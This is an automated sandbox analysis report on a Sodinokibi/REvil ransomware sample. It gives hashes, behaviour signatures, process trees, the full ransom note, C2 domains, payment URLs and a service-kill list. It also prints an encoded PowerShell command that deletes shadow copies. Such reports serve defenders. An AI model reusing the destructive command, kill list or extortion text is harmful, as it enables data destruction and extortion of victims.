Overview

overview

10

Static

static

10

1bb5d14b9e...96.exe

windows7_x64

10

1bb5d14b9e...96.exe

windows10_x64

10

Resubmissions

25-01-2022 13:22

220125-qmj81sgder 10

24-01-2022 02:27

220124-cxybqsada9 10

Analysis

  • max time kernel
    139s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 02:27

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    1bb5d14b9e82726c13d18bb070d5829f94fd0a07e38c2896b0594f35b6db3296.exe

  • Size

    156KB

  • MD5

    192a50af6c99b0c3467b9c8e1f77328b

  • SHA1

    3664ac535c27284ab728dd58399bdd378ba7dc3f

  • SHA256

    1bb5d14b9e82726c13d18bb070d5829f94fd0a07e38c2896b0594f35b6db3296

  • SHA512

    26fe6d4024b429197e1d3387b110e8f5a17dfbfd5b213b1f64683090920e37bffefc4df89aa1745d7ef1fff19eab55b397decfcb7482af60529318cf370df50b

Score
10/10
neshtaryuksodinokibi$2a$10$vpkpc1o/symzobyqpu2/oupf9ekyq7zeiuoxwq.ktiuu7ka011uui4738persistenceransomwarespywarestealer

Malware Config

Extracted

Path

C:\4e4q207487-readme.txt

Family

ryuk

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension 4e4q207487. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. I suggest you read about us on the Internet, we are known as "Sodinokibi Ransomware". For example, this article: https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread Pay attention to that: "How Much Data Is Decrypted with a Ransomware Decryptor? In Q2 2019, victims who paid for a decryptor recovered 92% of their encrypted data. This statistic varied dramatically depending on the ransomware type. For example, Ryuk ransomware has a relatively low data recovery rate, at ~ 87%, while Sodinokibi was close to 100%. " Now you have a guarantee that your files will be returned 100 %. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/8124F8281B15C7E7 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/8124F8281B15C7E7 Warning: secondary website can be blocked, thats why first variant much better and more available. If you have problem with connect, use strictly TOR version 8.5.5 link for download TOR version 8.5.5 here: https://filehippo.com/download_tor_browser_for_windows/ When you open our website, put the following data in the input form: Key: KWMbYvD9qk4h7MIUuBRtzGLvjITrxEqlwy3aR730z+pA9XJLDbpBaYFILpURSGn4 CiWigoCYh+vdaDzCzHGZRpEH0iRrTUnB1bLzQzffnY0rdTr/yB+i+Vmc/1JoI2GU RMf3n2AwSDmqRplokFVI/UqJx2pMHSTCgR/cVvGdVT6Gk6WuTRPVO+yWMIAgUzM5 oOkMN2dU5t5yNPVr3HaMlU8UcAc909BJjSUcaJAUxI0UkgvQGAsD+gOAwvDPiijU XDqBLLZHWTDXnc96xomGKTPWbvm5NoZqS4NPyKAm7oPZJNV5hlHgunIReShfLUHH mVbH6ILZvYTL00/U0+KVQstzOD4vejm8Gk+WqprAlyQWtEoZ+qRSwL82AzJdc/H0 rIpuLU3LaM9UNoSqzOuEBGRLFYvNxEbrvluAbjfQ7kd+WubCQO09I8hf/6+mP5uT eOnaXcXLr/7bnBga+KIEmFvkrW1FywlLIcsh7PUTVwszu17aZuOLDytni7NnPoyn DHcL0uZGXCe4P8hJR0KtLX255eVQRhmc3smbuk7b7LiwlyXUW88spqFdB8IXWvuH +DI5XLoGygxUzhkVh+CdUESGrz1BFff+c6zfShg2ru1Lwi7mcFU6F19gAyI0wDWz VonwA6yzYYTqz+3a3qIBRd6aQH1TFvfYfWt2I29oy+xsXlHVi2dwkDhBTqKq7Jhg vC2g1W1c/W5Uq4+OVrpeIPwWh8Ev690fsCHIEjTb4XlAWKHcwi0dcaI8tOuq3NhY LijJe3BBU2qaT+3+w7s41Kfcp7wOXlJ3cFpEbh1XXJjltESdkrb52KLBZ68miTpv FCvjrgS5r77T0+iC/KH3OfVG/61dA+eYzZKDvzhy8Q02APOJrU+KGxryYZZ8tsKg 61dXXQ2k0dahojuIki7AlC/bk07Z/aAfKynTIscUjSN4EyISTENPIc0Y8yUT4zYV td5rtuStzKgN0hGL5iP+kB7oAe1Hia0w67at6zEBBlVg0gCST6m2DEt+ogM3PjIT 2G08hg0Aeo1UgDSAf1lCTJiVJMYoXlaBEHmY/IwqDkRXauc581+ma/bh8kF1GD2/ T3dJMqlZZ0dJ/4VoHK+JI5jycqBAvLqD+tJcw0zaN9/VIwXl+gs2tfcWNUS2RWt9 15ksgd9iQe8ryxsKXJlQyjSiSEZXIUnawoGfZJTZ75ds8qXbqS3m41sB1mFUO++P HECPLQGrRQ/8lSr6v7tLbGic9XUO4k0OxylDbSWgpEZ+riveLhQIE8HOA9P9P+68 rsgbg0MxiNRP9593udbd7r0H0xE1j1Zgu4yywwClT8c= Extension name: 4e4q207487 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/8124F8281B15C7E7

http://decryptor.cc/8124F8281B15C7E7

https://filehippo.com/download_tor_browser_for_windows/

Extracted

Family

sodinokibi

Botnet

$2a$10$vPKpC1O/SYmZobyqpU2/OupF9ekyq7ZeIUOxwq.KtIUu7Ka011uUi

Campaign

4738

C2

2ekeus.nl

fitnessbazaar.com

vietlawconsultancy.com

dontpassthepepper.com

triactis.com

pawsuppetlovers.com

directwindowco.com

evangelische-pfarrgemeinde-tuniberg.de

tinkoff-mobayl.ru

milestoneshows.com

gopackapp.com

better.town

oslomf.no

kath-kirche-gera.de

hokagestore.com

deko4you.at

praxis-management-plus.de

wurmpower.at

atozdistribution.co.uk

executiveairllc.com
Attributes
  • net

    true

  • pid

    $2a$10$vPKpC1O/SYmZobyqpU2/OupF9ekyq7ZeIUOxwq.KtIUu7Ka011uUi

  • ransom_oneliner

    ---=== Sodinokibi Ransomware ===--- All of your files are encrypted! Find {EXT}-readme.txt and follow instuctions

  • ransom_template

    ---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension {EXT}. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. I suggest you read about us on the Internet, we are known as "Sodinokibi Ransomware". For example, this article: https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread Pay attention to that: "How Much Data Is Decrypted with a Ransomware Decryptor? In Q2 2019, victims who paid for a decryptor recovered 92% of their encrypted data. This statistic varied dramatically depending on the ransomware type. For example, Ryuk ransomware has a relatively low data recovery rate, at ~ 87%, while Sodinokibi was close to 100%. " Now you have a guarantee that your files will be returned 100 %. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID} 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/{UID} Warning: secondary website can be blocked, thats why first variant much better and more available. If you have problem with connect, use strictly TOR version 8.5.5 link for download TOR version 8.5.5 here: https://filehippo.com/download_tor_browser_for_windows/ When you open our website, put the following data in the input form: Key: {KEY} Extension name: {EXT} ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

  • sub

    4738

  • svc

    veeam

    mepocs

    backup

    sql

    svc$

    sophos

    vss

    memtas

Signatures

  • Modifies system executable filetype association 2 TTPs 1 IoCs
    persistence
  • Neshta

    Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.

    persistencespywareneshta
  • Ryuk

    Ransomware distributed via existing botnets, often Trickbot or Emotet.

    ransomwareryuk
  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

    ransomwaresodinokibi
  • Executes dropped EXE 1 IoCs
  • Modifies extensions of user files 8 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1bb5d14b9e82726c13d18bb070d5829f94fd0a07e38c2896b0594f35b6db3296.exe
    "C:\Users\Admin\AppData\Local\Temp\1bb5d14b9e82726c13d18bb070d5829f94fd0a07e38c2896b0594f35b6db3296.exe"
    1⤵
    • Modifies system executable filetype association
    • Loads dropped DLL
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:944
    • C:\Users\Admin\AppData\Local\Temp\3582-490\1bb5d14b9e82726c13d18bb070d5829f94fd0a07e38c2896b0594f35b6db3296.exe
      "C:\Users\Admin\AppData\Local\Temp\3582-490\1bb5d14b9e82726c13d18bb070d5829f94fd0a07e38c2896b0594f35b6db3296.exe"
      2⤵
      • Executes dropped EXE
      • Modifies extensions of user files
      • Enumerates connected drives
      • Drops file in System32 directory
      • Sets desktop wallpaper using registry
      • Drops file in Program Files directory
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1968
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1396
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1648
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:800

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\3582-490\1bb5d14b9e82726c13d18bb070d5829f94fd0a07e38c2896b0594f35b6db3296.exe
      MD5

      01b35d89964766397cb1c060b4189ae0

      SHA1

      8b887dc517d1d675995da8f654c532de35a709aa

      SHA256

      9457cf38de2c1a5f13dfd9b05bec95ff22211049df08688e852ee12a6ee3b211

      SHA512

      f539b807c588830d30102d2c960696c13432cd99341d98b8eced699d4bc68d5863c636d92385f35bff5fa36e4ca3eb8e74b6a6c660f485c32645ec9e38fc2471

      Download Submit
    • \PROGRA~2\Adobe\READER~1.0\Reader\LOGTRA~1.EXE
      MD5

      9e2b9928c89a9d0da1d3e8f4bd96afa7

      SHA1

      ec66cda99f44b62470c6930e5afda061579cde35

      SHA256

      8899b4ed3446b7d55b54defbc1acb7c5392a4b3bc8ec2cdc7c31171708965043

      SHA512

      2ca5ad1d0e12a8049de885b90b7f56fe77c868e0d6dae4ec4b6f3bc0bf7b2e73295cc9b1328c2b45357ffb0d7804622ab3f91a56140b098e93b691032d508156

      Download Submit
    • \Users\Admin\AppData\Local\Temp\3582-490\1bb5d14b9e82726c13d18bb070d5829f94fd0a07e38c2896b0594f35b6db3296.exe
      MD5

      01b35d89964766397cb1c060b4189ae0

      SHA1

      8b887dc517d1d675995da8f654c532de35a709aa

      SHA256

      9457cf38de2c1a5f13dfd9b05bec95ff22211049df08688e852ee12a6ee3b211

      SHA512

      f539b807c588830d30102d2c960696c13432cd99341d98b8eced699d4bc68d5863c636d92385f35bff5fa36e4ca3eb8e74b6a6c660f485c32645ec9e38fc2471

      Download Submit
    • \Users\Admin\AppData\Local\Temp\3582-490\1bb5d14b9e82726c13d18bb070d5829f94fd0a07e38c2896b0594f35b6db3296.exe
      MD5

      01b35d89964766397cb1c060b4189ae0

      SHA1

      8b887dc517d1d675995da8f654c532de35a709aa

      SHA256

      9457cf38de2c1a5f13dfd9b05bec95ff22211049df08688e852ee12a6ee3b211

      SHA512

      f539b807c588830d30102d2c960696c13432cd99341d98b8eced699d4bc68d5863c636d92385f35bff5fa36e4ca3eb8e74b6a6c660f485c32645ec9e38fc2471

      Download Submit
    • memory/944-54-0x0000000075431000-0x0000000075433000-memory.dmp
      Filesize

      8KB

      Download
    • memory/1396-59-0x000007FEFBE11000-0x000007FEFBE13000-memory.dmp
      Filesize

      8KB

      Download
    • memory/1396-61-0x0000000002480000-0x0000000002482000-memory.dmp
      Filesize

      8KB

      Download
    • memory/1396-63-0x0000000002484000-0x0000000002487000-memory.dmp
      Filesize

      12KB

      Download
    • memory/1396-62-0x0000000002482000-0x0000000002484000-memory.dmp
      Filesize

      8KB

      Download
    • memory/1396-60-0x000007FEF2D50000-0x000007FEF38AD000-memory.dmp
      Filesize

      11.4MB

      Download
    • memory/1396-64-0x000000000248B000-0x00000000024AA000-memory.dmp
      Filesize

      124KB

      Download